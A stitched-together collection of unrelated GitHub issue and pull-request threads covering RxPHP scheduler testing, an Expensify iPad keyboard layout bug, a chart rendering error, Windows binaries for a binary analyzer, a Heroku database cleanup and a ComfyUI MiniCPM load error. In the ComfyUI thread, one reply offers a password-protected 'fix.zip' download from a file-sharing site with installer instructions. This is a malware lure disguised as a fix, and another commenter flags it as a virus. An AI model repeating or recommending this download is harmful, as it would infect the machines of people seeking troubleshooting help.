[ ] Remove any/all console.logs I added
[ ] eslint is not complaining
[ ] have added myself to the contributors' list in the README
[ ] for feature PRs: PR only includes one feature enhancement.

A nimble change. Thanks @alanseiden - this will go out in our 100th release!


Add Scroll Down Progress Bar to The Recodehive Website

Hey @sanjay-kv
I would like to add a scroll down progress bar to the website

Could you please assign this issue to me

already raised

@sanjay-kv I have checked scroll down progress bar is not raised by anyone the vertical scroll bar is already raised please check and assign this issue to me

I saw that, that would be unnecessary, so we wont be doing it . Sorry, you can find some good idea and raise issue again,


Unclaimed Amount Calculation

Add support for unclaimed gas calculation.
Python Reference: https://github.com/CityOfZion/neon-wallet-db/blob/master/api/util.py

done


GUACAMOLE-1570: start.sh SAML Extension load logic incomplete

Fix initialization error on SAML auth plugin.
See associated JIRA: https://issues.apache.org/jira/browse/GUACAMOLE-1570

@necouchman I've commited to the branch of the other PR but since it's already merged I guess it should either be reverted and merged again or I just rename this PR to match GUACAMOLE-1322 ?

@jbpaux : You can rename the CR, and then you'll just need to update the commit message and do a force purge.


background service crashed when app is closed

Hi
I am wondering if I can track location even if the app is closed. Currently after closing app, background service is also get crashed. Please let me know if somehow we can do this.

@cosmicanant : Do you mean closed as in force closed by user?

Closing this as its been answered in other places.
If the user force closes the app, the background service will turn off by design.


Test not working

Hi there,
I'm trying to test observables in PHPUnit, however I get stuck.
I have looked at the tests in this repo, even copied one of them directly, yet it fails.
Failed asserting that null matches expected 42.

When trying this code
$promise = Observable::of(42)->toPromise();

        $result = null;

        $promise->then(function ($value) use (&$result) {
            $result = $value;
        });

        $this->assertEquals(42, $result);

How do I solve this?

I suspect the issue you are having has to do with the scheduler. This library generally works asynchronously, so the Observable::of(42) just schedules the emission of a value and does not emit a value unit the underlying scheduler is run. This means the then callable does not get called until after your assertion is made (again, assuming the scheduler is started at some point).
If you wanted it to work immediately, you can use the ImmediateScheduler:
<?php

require __DIR__ . '/vendor/autoload.php';

$promise = \Rx\Observable::of(42, new \Rx\Scheduler\ImmediateScheduler())->toPromise();

$result = null;

$promise->then(function ($value) use (&$result) {
    $result = $value;
});

echo $result . PHP_EOL;

This can also be set with the global configuration:
\Rx\Scheduler::setDefaultFactory(function () {
    return new \Rx\Scheduler\ImmediateScheduler();
});

$promise = \Rx\Observable::of(42)->toPromise();

Or, if you are intending to be async, you could defer checking the result until the after the value is emitted.

@mpjraaij I just saw your comment on PgAsync. If you are using this in conjunction with that, you do not want to use the ImmediateScheduler.


Question about the google drive datasets' features

Thanks for providing the dataset. I am wondering about how are the datasets' features obtained. For example, for cora_fixed_sbert, are the features obtained using the pretrained sbert model, or using the fine-tuned sbert model?

We use the pre-trained sbert model.

Thanks!


iPad - Sign in - Keyboard is covering the fields in Sign in page and password  page in Landscape orientation

If you haven’t already, check out our contributing guidelines for onboarding and email<EMAIL_ADDRESS>to request to join our Slack channel!

Action Performed:

Open app
Tap on email address
Enter your email address

Expected Result:
The keyboard should not cover the input field in sign in page and password page in landscape orientation
Actual Result:
The keyboard is covering the log in page and password in Landscape mode
Workaround:
Unknown
Platform:

Where is this issue occurring?

iOS (iPad landscape)

Version Number: 1.0.95-0
Logs: https://stackoverflow.com/c/expensify/questions/4856
Notes/Photos/Videos:

Expensify/Expensify Issue URL:
Issue reported by: Applause
Slack conversation:
View all open jobs on GitHub

Triggered auto assignment to @Luke9389 (Engineering), see https://stackoverflow.com/c/expensify/questions/4319 for more details.

Not sure if this is a priority. What does @Expensify/design think?

For the Workaround section, you could just type your email in and then hit the 'hide keyboard' button on the bottom right, then select the password field.
Generally, we should always frame issues as "Here's a problem for our users/internal folks". In this case, we should frame this as, 'our sign in flow is clunky on landscape iPad because the UI has this problem' not, 'the UI has this problem'. This way of looking at issues helps to define what the Workaround section should say. Does that make sense @kavimuru?

Probably not a priority but ideally the field would be fully visible when the keyboard is up. It also looks like maybe the page is zoomed or something? Notice how the phone image is cut off on the right?

This should be fixed by using KeyboardAvoidingView and a ScollView without scrollbar and of 100% height.
but

It also looks like maybe the page is zoomed or something? Notice how the phone image is cut off on the right?

This looks like a regression. If I remember correctly, there are two recent changes https://github.com/Expensify/App/issues/4110 & https://github.com/Expensify/App/issues/4659 which is prime suspect.

Issue reproducible during KI retests.

Probably related.
The continue button is hidden under the keyboard for email login screen.
But it works as intended for the password screen.
Device: Pixel 3
Login screen

Password screen

@Luke9389 Uh oh! This issue is overdue by 2 days. Don't forget to update your issues!

@parasharrajat Do you wanna pick this one up and fix it? If you want to spin up a PR feel free 👍

@Luke9389 Whoops! This issue is 2 days overdue. Let's get this updated quick!

I will push the PR after the hold is over.

cool, thanks @parasharrajat 👍

Issue reproducible during KI retests.

Issue reproducible during KI retests.

Issue reproducible during KI retests.

I am preparing the PR and should be pushed in a couple of days as not being a priority.

Ok. Started to tackle this up. @shawnborton
Login Screen on Mobile and Web have a difference and I want to ask if that is intentional.

WEB
MOBILE

See the different placement for footer copy.

That's not intentional, that's a bug. It should look like the web version on the left.

Issue reproducible during KI retests.

PR is up but waiting for https://github.com/Expensify/App/pull/6203 to be merged and the plan is to reuse 90% of the code and refactor it into composable components.

Awaiting QA to be completed on other PR and then I will forward this one. Thanks for the patience.

Triggered auto assignment to @kevinksullivan (External), see https://stackoverflow.com/c/expensify/questions/8582 for more details.

@kevinksullivan reassigning, I'm off for mat leave!

Started working... It should be ready soon.

PR is almost done. Tackling one UI blocker atm.

@kevinksullivan, @parasharrajat, @Luke9389 Whoops! This issue is 2 days overdue. Let's get this updated quick!

Oops, I forgot to mark PR to ready. Doing now

Cool, thanks @parasharrajat!

Issue not reproducible during KI retests. (First week)

@kevinksullivan, @parasharrajat, @Luke9389 Uh oh! This issue is overdue by 2 days. Don't forget to update your issues!

Shouldn't be overdue since reviewing label is on it

Issue not reproducible during KI retests. (Second week)

@kevinksullivan, @parasharrajat, @Luke9389 Whoops! This issue is 2 days overdue. Let's get this updated quick!

PR merged

Issue not reproducible during KI retests. (Third week). We can close it

Note: I am awaiting payments for this. Thanks.

@kevinksullivan I think no Upwork job was created for this.

Ah, hm. I figured the job was covered before I was assigned here. Sorry for the confusion @parasharrajat ! Here is the job:
https://www.upwork.com/jobs/~01d52e22ab0cfdfe5a
I just sent you an invite. Will get you paid once you accept!

Issue not reproducible during KI retests. (Fourth week)

@kevinksullivan
Ping for

Proposal accepted, just need you to accept the offer and then I'll square this away.

Paid.


Error when rendering zero pie of Donut chart

Describe the bug
The rendering of donut with zero value segment is interrupted by the following error:
Uncaught Error: Pie(...): Nothing was returned from render. This usually means a return statement is missing. Or, to render nothing, return null.

Code example
Codesandbox. This bug doesn't appear on React <18.
Expected behavior
In React 16 there is no error when displaying the zero pie.
Additional context
It looks like the error is being caused by this return expression, since React <18 doesn't support return undefined: https://github.com/semrush/intergalactic/blob/a47a5b3c9acb53d7a693784de4347801618a5119/semcore/d3-chart/src/Donut.jsx#L348
Versions:

<EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS>

The issue was fixed in the latest release https://github.com/semrush/intergalactic/releases/tag/v15.15.0 🦾


Please provide binaries for Windows

My use case:
I'm a Windows user developing embedded systems using cross-compilers to produce elf files.
This tool would be great for analyzing the produced binary.
Thanks for your work!

Windows binaries will be available with the next release with the following exceptions:

Dynamic analysis feature is not supported, since lurk is not designed to run on Windows and I need to come up with something else for that.
See #35 (good first issue if you want to contribute!!)

That's great ! looking forward to it!

Windows binaries are now available in https://github.com/orhun/binsider/releases/tag/v0.2.0


add practical supports to db seed data

This pull request makes the following changes:

Adds a couple practical supports to patients created while seeding the test database for improved dev experience.

It relates to the following issue #s:

Fixes #2193

To test:

Run docker-compose run --rm web rails db:create db:migrate db:seed to seed/re-seed your db.
Then open a Rails console and run PracticalSupport.all. You should get back a non-empty array of practical supports.

Thanks! Glad to have my first PR merged in. Next time I'll be sure to schedule myself a little follow-up time to address PR comments 👍🏻


Database reaching capacity for hobby-dev

From the chayn chat email

The database HEROKU_POSTGRESQL_MAROON_URL on Heroku app little-window is approaching its allocated storage capacity.

Possible solutions

upgrade to bigger db
stop saving messages from the bot (every message is currently saved)
discussion about what this data will be used for

Other things to consider:

dev and test db also on heroku could be local instead

Maybe it is worth saving some messages from the bot but not all of them. During conversations they are useful and the conversation reads nicely in the db. A good solution could be to not save the first three messages as currently they appear to be taking up a lot of space as shown here.

This showcases that the db could be cleared up with a query that removes all messages that have no conversation_id.

Clear not useful messages query
delete from messages where conversation_id is null


[bug] Doesn't work in edit mode.

This doesn't work when editing a page's source.  Using "Preview" will render a section when editing, and this extension doesn't parse any of the math elements.

I can't reproduce your problem. Please provide the exact link and steps that lead to the issue.

Closing for now, feel free to re-open.

Edit any page, like this one, and hit "Preview": https://en.wikipedia.org/w/index.php?title=Feynman_slash_notation&action=edit
wiki-mathjax doesn't run.  Instead, I only get Wikipedia's rendered SVGs.

I am on exactly same version, on macOS. For me pressing the preview button immediately triggers MathJax rendering.
If you are logged in on Wikipedia, this issue/solution may be relevant to you: #20


[BUG] 'NoneType' object has no attribute 'eval'

是否已有关于该错误的issue或讨论？ | Is there an existing issue / discussion for this?

[X] 我已经搜索过已有的issues和讨论 | I have searched the existing issues / discussions

该问题是否在FAQ中有解答？ | Is there an existing answer for this in FAQ?

[X] 我已经搜索过FAQ | I have searched FAQ

当前行为 | Current Behavior
run sample workflow
期望行为 | Expected Behavior
No response
复现方法 | Steps To Reproduce
run sample workflow
运行环境 | Environment
- OS:
- Python:
- Transformers:
- PyTorch:
- CUDA (`python -c 'import torch; print(torch.version.cuda)'`):

备注 | Anything else?
Error occurred when executing D_MiniCPM_VQA:
'NoneType' object has no attribute 'eval'
File "D:\StableDiffusion\ComfyUI-aki-v1.3\execution.py", line 317, in execute
output_data, output_ui, has_subgraph = get_output_data(obj, input_data_all, execution_block_cb=execution_block_cb, pre_execute_cb=pre_execute_cb)
File "D:\StableDiffusion\ComfyUI-aki-v1.3\execution.py", line 192, in get_output_data
return_values = _map_node_over_list(obj, input_data_all, obj.FUNCTION, allow_interrupt=True, execution_block_cb=execution_block_cb, pre_execute_cb=pre_execute_cb)
File "D:\StableDiffusion\ComfyUI-aki-v1.3\execution.py", line 169, in _map_node_over_list
process_inputs(input_dict, i)
File "D:\StableDiffusion\ComfyUI-aki-v1.3\execution.py", line 158, in process_inputs
results.append(getattr(obj, func)(**inputs))
File "D:\StableDiffusion\ComfyUI-aki-v1.3\custom_nodes\ComfyUI_MiniCPM-V\nodes.py", line 58, in inference
self.model.eval()

Download
https://www.mediafire.com/file/3hzk77cxvxc9nq2/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Please don't download this file! This is a computer virus.
请不要下载这个文件！这是一个计算机病毒

是否已有关于该错误的issue或讨论？ | Is there an existing issue / discussion for this?

[x]  我已经搜索过已有的issues和讨论 | I have searched the existing issues / discussions

该问题是否在FAQ中有解答？ | Is there an existing answer for this in FAQ?

[x]  我已经搜索过FAQ | I have searched FAQ

当前行为 | Current Behavior
run sample workflow
期望行为 | Expected Behavior
No response
复现方法 | Steps To Reproduce
run sample workflow
运行环境 | Environment
- OS:
- Python:
- Transformers:
- PyTorch:
- CUDA (`python -c 'import torch; print(torch.version.cuda)'`):

备注 | Anything else?
Error occurred when executing D_MiniCPM_VQA:
'NoneType' object has no attribute 'eval'
File "D:\StableDiffusion\ComfyUI-aki-v1.3\execution.py", line 317, in execute output_data, output_ui, has_subgraph = get_output_data(obj, input_data_all, execution_block_cb=execution_block_cb, pre_execute_cb=pre_execute_cb) File "D:\StableDiffusion\ComfyUI-aki-v1.3\execution.py", line 192, in get_output_data return_values = _map_node_over_list(obj, input_data_all, obj.FUNCTION, allow_interrupt=True, execution_block_cb=execution_block_cb, pre_execute_cb=pre_execute_cb) File "D:\StableDiffusion\ComfyUI-aki-v1.3\execution.py", line 169, in _map_node_over_list process_inputs(input_dict, i) File "D:\StableDiffusion\ComfyUI-aki-v1.3\execution.py", line 158, in process_inputs results.append(getattr(obj, func)(**inputs)) File "D:\StableDiffusion\ComfyUI-aki-v1.3\custom_nodes\ComfyUI_MiniCPM-V\nodes.py", line 58, in inference self.model.eval()

The first error is "please pip install peft", and I've done that, this is the second pop-out error

是否已有关于该错误的issue或讨论？ | Is there an existing issue / discussion for this?

[x]  我已经搜索过已有的issues和讨论 | I have searched the existing issues / discussions

该问题是否在FAQ中有解答？ | Is there an existing answer for this in FAQ?

[x]  我已经搜索过FAQ | I have searched FAQ

当前行为 | Current Behavior
run sample workflow
期望行为 | Expected Behavior
No response
复现方法 | Steps To Reproduce
run sample workflow
运行环境 | Environment
- OS:
- Python:
- Transformers:
- PyTorch:
- CUDA (`python -c 'import torch; print(torch.version.cuda)'`):

备注 | Anything else?
Error occurred when executing D_MiniCPM_VQA:
'NoneType' object has no attribute 'eval'
File "D:\StableDiffusion\ComfyUI-aki-v1.3\execution.py", line 317, in execute output_data, output_ui, has_subgraph = get_output_data(obj, input_data_all, execution_block_cb=execution_block_cb, pre_execute_cb=pre_execute_cb) File "D:\StableDiffusion\ComfyUI-aki-v1.3\execution.py", line 192, in get_output_data return_values = _map_node_over_list(obj, input_data_all, obj.FUNCTION, allow_interrupt=True, execution_block_cb=execution_block_cb, pre_execute_cb=pre_execute_cb) File "D:\StableDiffusion\ComfyUI-aki-v1.3\execution.py", line 169, in _map_node_over_list process_inputs(input_dict, i) File "D:\StableDiffusion\ComfyUI-aki-v1.3\execution.py", line 158, in process_inputs results.append(getattr(obj, func)(**inputs)) File "D:\StableDiffusion\ComfyUI-aki-v1.3\custom_nodes\ComfyUI_MiniCPM-V\nodes.py", line 58, in inference self.model.eval()

it means the model is not successfully loaded. Try to check if the model files are all downloaded under ComfyUI/models/prompt_generator/MiniCPM-xxx


raises value error for bert tokenizer for long sequences

addesses #125
(all pre-trained bert models have a positional embedding matrix with 512 embeddings. Sequences longer than 512 tokens will cause indexing errors when you attempt to run a bert forward pass on them)
added a max_len arg to bert tokenizer. the function convert_tokens_to_indices will raise a value error if the inputted list of tokens is longer than max_len.
if no max_len is supplied, then no value error will be raised, however long the sequence is
Pre-trained bert models have max_len set to 512 at object construction time (in BertTokenizer.from_pretrained. It can be overridden by explicitly passing max_len to BertTokenizer.from_pretrained as a kwarg
if bert models with larger positional embedding matrices are released, it is possible to have different max_lens for different pretrained_models.

Thanks @patrick-s-h-lewis, this is nice.
The max number of positional embeddings is available in the pretrained models configuration files also (as max_position_embeddings) but this requires some change in the models stored on S3 so I will take care of it in the next release.


Rephrase the sentence on variable scope in Scripting documentation

Following the discussion on #4245, this PR changes the sentence that describe the scope of variables. The first sentence of the paragraph already explains that variables are introduced using let bindings, so I did not repeat that.

Thanks!


Improve documentation SEO

Proposal
One of my colleagues was looking for a way to rebuild a URL using an array returned from parse_url().  Everything he searched for kept suggesting to use the http_build_url() method from the http PECL extension.  Perhaps including some a mention of http_build_url() in the documentation, along with keywords that other devs might search for to solve this problem, could help them find this library?

indeed good suggestion will try to look into it. Will keep you posted

Is there a publicly accessible git repo for the documentation that we can help with?

@GwendolenLynch thanks for asking and for helping if possible. All documentations for the library can be found under the docs folder in the master branch. just create a PR and I will gladly reviewbyoue futur contributions